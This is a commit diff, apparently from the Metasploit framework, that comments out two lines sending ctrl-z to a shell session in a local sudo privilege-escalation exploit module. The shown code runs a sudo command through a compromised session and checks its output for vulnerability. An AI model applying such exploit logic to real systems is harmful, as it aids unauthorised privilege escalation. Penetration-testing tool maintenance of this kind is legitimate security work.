Comment out ctrl-z hax.

bug/bundler_fix
Joe Vennix 2013-08-23 19:44:26 +00:00
parent 27c56cd3a3
commit ba27eab0d6
1 changed files with 2 additions and 2 deletions

View File

@ -157,8 +157,8 @@ class Metasploit3 < Msf::Exploit::Local
print_good "Running: "
print sudo_cmd + "\n"
output = cmd_exec(sudo_cmd, nil, 5)
session.shell_write("\x1a") # send ctrl-z :)
session.reset_ring_sequence
# session.shell_write("\x1a") # send ctrl-z :)
# session.reset_ring_sequence
if output =~ /incorrect password attempts\s*$/i
fail_with(Exploit::Failure::NotFound,
"User has never run sudo, and is therefore not vulnerable. Bailing.")